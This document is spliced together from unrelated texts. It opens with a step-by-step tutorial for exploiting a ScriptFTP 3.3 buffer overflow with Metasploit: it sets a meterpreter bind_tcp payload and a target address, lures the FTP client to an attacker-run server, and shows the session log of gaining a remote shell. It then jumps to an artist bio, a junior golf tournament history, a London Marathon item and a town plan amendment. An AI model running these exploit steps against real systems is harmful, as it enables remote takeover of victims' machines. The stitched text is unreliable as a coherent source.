Description : ScriptFTP is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. Attackers can exploit this issue to execute arbitrary code within the context of the application. Failed attacks may cause a denial-of-service condition. ScriptFTP 3.3 is vulnerable; other versions may also be affected.
In order to exploit this you can either use the python or the metasploit exploit, I prefer using the the metasploit because of the payloads. So the first thing you need to do is put the exploit under the folder /pentest/exploits/framework3/modules/exploits/windows , I called mine scriptftp33.rb , just paste the content of
Now step by step
1) msfconsole
2) use windows/ftp/scriptftp33 ( To use the exploit that we just created)
3) set PAYLOAD windows/meterpreter/bind_tcp (To use meterpreter as our payload)
4) set RHOST 172.16.1.7 (This is the ip address of the server that I am attacking)
5) exploit
Ok, now the attacking server bit is ready to go, you need to download the ftp script from
http://www.scriptftp.com/ScriptFTP_3_3_setup.exe and install it
Open the scriptftp and create and script with the following content:
172.16.1.79 = The ip address of the attacking server.
ftptest = username
passwordtest = password
Remember to create this user in your attacking server.
Save it as exploit.ftp
Now click open and select exploit.ftp
If everything goes all right, in your metasploit you now should see something like this :
msf exploit(scriptftp33) > [*] 172.16.1.7:1518 LOGIN ftptest / passwordtest
[*] - Data connection set up
[*] - Sending directory list via data connection
[*] Sending stage (752128 bytes) to 172.16.1.7
[*] Meterpreter session 1 opened (172.16.1.79:37594 -> 172.16.1.7:4444) at 2011-09-30 10:15:21
Right, now you have your meterpreter session, just type " sessions -i 1" and you can do everything you want ;)
That's it guys.

Sandra Gibson and Luis Recoder
Sandra Gibson and Luis Recoder stage the scene of film as orphaned object through the temporal labor of moving image installation. Collaborators since 2000, Gibson and Recoder unite the rich traditions of the experimental film, particularly its structuralist and materialist strands, and the multi-modal sensibility of expanded cinema that emerged in the 1960s, in which the moving image was woven into the labile space of performance, sound and audience interaction. Their larger body of work explores this interstice between avant-garde film practice and the incorporation of moving images and time-based media into the museum and art gallery.

David A. Wall
Congratulations to the David A. Wall Junior Invitational Low Medalist 2016
Will Spivey, Douglas, Georgia Boys Low Medalist
Sutton Rollins, Waycross, Georgia Girls Low Medalist
The History of the David A. Wall Junior Golf Invitational Tournament
David Wall, a Blackshear native, began golfing at age 10 and dominated the sport throughout high school and college. He turned pro in 1985, won 27 tournaments and made 35 consecutive cuts. In 2001 David became head pro at Lakeview Golf Club and used his passion for golf to teach youngsters to play the sport.
In 2003 he was instrumental in starting a junior invitational golf tournament. Each year, the David A. Wall tournament, named in his honor and now in his memory, draws hundreds to the area from several southeastern states.
David loved God, his family, his friends (many of them junior golfers) and the game of golf. The memorial tournament offers scholarships to qualifying golfers and is ranked by the Junior Golf Scoreboard.
Wall took a liking to golf early in his life. He started playing the game at the age of 10 and dominated the sport while in high school and college. He was low medalist for the 1979 Blackshear High School state championship golf team and went on to earn a scholarship at both South Georgia College in Douglas and Augusta College.
Following college, Wall went on to qualify for the US Amateur and turned pro in 1985. He played the Florida Mini -Tour for four years, winning 25 events and joined the Hooters Tour in 1990 where he won the Brick Landing Open in Wilmington, NC in 1991 and the Collins Pro Classic in Louisville, KY in 1996. During his time on the Hooters Tour, Wall made 35 cuts in a row. He left the tour after being diagnosed with the disease that slowly robbed him of his muscle control and eventually took his life.
After his diagnosis, Wall became head-pro of the Lakeview Golf Club where he used his passion for golf to teach youngsters to play the sport. In 2003, he was instrumental in starting a junior invitational golf tournament, which now bears his name. Each spring, the tournament draws hundreds of participants from across the southeast to Blackshear.

David Weir, five time winner of the Virgin London Marathon was called by one keen observer of the sport " the most talented athlete that Great Britain has,". That might be challenged, but the love of Mr. Weir by the British sports fan can not be challenged. The man is an amazingly talented athlete and a gutty one at that!
It was fitting then, that Mr. Weir spoke as the only elite athlete at the Virgin London elite athlete reception. What was fascinating was the Dave Bedford, the co race director, along with Hugh Brasher, did not speak at the event. Hugh Brasher, son of the late Chris Brasher, the co founder of the race, along with John Dinsely, spoke.
Hugh Brasher was both thoughtful and self depricating. He noted that while most decisions for the marathon were made this year by Mr. Bedford, that Dave had told Mr. Brasher, that if anything went wrong on Sunday, it would be noted that Mr. Brasher made all of the decisions. Hugh also said, " Welcome to the world's greatest marathons, oh, Sorry Mary." He said that, the same words that Dave Bedford had noted for several years, in a bit of competitive jest with Mary Wittenberg, President of the New York Road Runners.
Dave Bedford will remain part of the race, especially in the area of organizing the field. But Hugh Brasher, a man who has put on races with much success, whose Sweat Shop is a significant part of the run specialty business in the British Isles, will be the guy who the media focuses on in the future.

Task 6.0 Draft Plan Amendment – Form and Type descriptions
Over the past few months the Committee has studied the commercial and mixed use areas designated in the Future Land Use Map (Figure 6 – in the Plan) and developed new maps and recommendations to better distinguish areas by their scale, location, and neighborhood context. The Committee has proposed "typologies" to categorize these areas which consist of two forms: suburban and traditional, and four types: center, corridor, medium-scale node, and low-scale node. The Committee identified a current designation for each center and identified centers that might change or transform in the future.

The Planning Board and the Imagine Amherst Project Working Committee have studied the commercial and mixed-use areas designated in the Future Land Use Map (Figure 6 – in the Plan) and developed a new companion map (Figure 6-A) and recommendations to better distinguish areas by their scale, location, and neighborhood context. The Proposed Amendments feature "typologies" that categorize these areas into combinations of form: suburban and traditional, and type: center, corridor, medium-scale node, and low-scale node. The Amendments propose a designation of form and type for each center. The different combinations of form and type are described in the Plan; these descriptions will provide guidance for the creation of new zoning provisions to support implementation of the Plan recommendations.
The Town Board held a public hearing on the DRAFT Amendments to the Bicentennial Comprehensive Plan on October 30, 2017. On December 11, 2017 the Town Board found that the requirements of SEQR had been completed and voted to adopt these amendments to Plan
